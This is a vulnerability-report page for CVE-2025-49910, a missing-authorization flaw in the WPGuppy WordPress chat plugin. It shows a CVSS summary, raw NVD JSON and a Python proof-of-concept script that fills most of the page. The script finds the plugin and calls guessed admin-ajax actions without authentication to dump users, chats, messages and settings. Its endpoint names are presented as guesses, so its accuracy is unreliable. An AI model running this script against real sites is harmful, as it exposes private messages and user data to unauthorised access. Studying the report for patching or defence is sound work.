Security Vulnerability Report
中文
CVE-2025-49910 CVSS 8.2 HIGH

CVE-2025-49910

Published: 2025-10-22 15:15:37
Last Modified: 2026-04-15 00:35:42

Description

Missing Authorization vulnerability in AmentoTech Private Limited WPGuppy wpguppy-lite allows Accessing Functionality Not Properly Constrained by ACLs.This issue affects WPGuppy: from n/a through <= 1.1.4.

CVSS Details

CVSS Score
8.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WPGuppy (wpguppy-lite) <= 1.1.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-49910 - WPGuppy Missing Authorization PoC # Vulnerability: Broken Access Control in WPGuppy <= 1.1.4 # Description: Unauthenticated access to functionality not properly constrained by ACLs import requests import sys TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "http://target-wordpress-site.com" # Step 1: Verify WPGuppy plugin is installed def check_plugin(): # Check common WPGuppy endpoints/paths paths = [ "/wp-content/plugins/wpguppy-lite/", "/wp-json/wpguppy/v1/" ] for path in paths: url = TARGET_URL + path try: resp = requests.get(url, timeout=10, verify=False) if resp.status_code == 200: print(f"[+] WPGuppy plugin detected at: {url}") return True except Exception as e: pass return False # Step 2: Enumerate accessible AJAX/REST endpoints without authentication def enumerate_endpoints(): # Common WPGuppy AJAX actions that may lack authorization checks ajax_actions = [ "wpguppy_get_users", "wpguppy_get_chats", "wpguppy_get_messages", "wpguppy_get_settings", "wpguppy_user_data" ] endpoints = [] for action in ajax_actions: url = f"{TARGET_URL}/wp-admin/admin-ajax.php" params = {"action": action} try: resp = requests.get(url, params=params, timeout=10, verify=False) if resp.status_code == 200 and "0" not in resp.text[:5]: print(f"[+] Accessible endpoint found: action={action}") endpoints.append(action) except Exception: pass return endpoints # Step 3: Exploit - Access restricted functionality without authentication def exploit_endpoint(action): url = f"{TARGET_URL}/wp-admin/admin-ajax.php" params = {"action": action} try: resp = requests.get(url, params=params, timeout=10, verify=False) print(f"\n[*] Response from {action}:") print(resp.text[:2000]) return resp.text except Exception as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": print(f"[*] Targeting: {TARGET_URL}") if check_plugin(): endpoints = enumerate_endpoints() for ep in endpoints: exploit_endpoint(ep) else: print("[-] WPGuppy plugin not detected")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-49910", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:36.913", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in AmentoTech Private Limited WPGuppy wpguppy-lite allows Accessing Functionality Not Properly Constrained by ACLs.This issue affects WPGuppy: from n/a through <= 1.1.4."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wpguppy-lite/vulnerability/wordpress-wpguppy-plugin-1-1-4-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}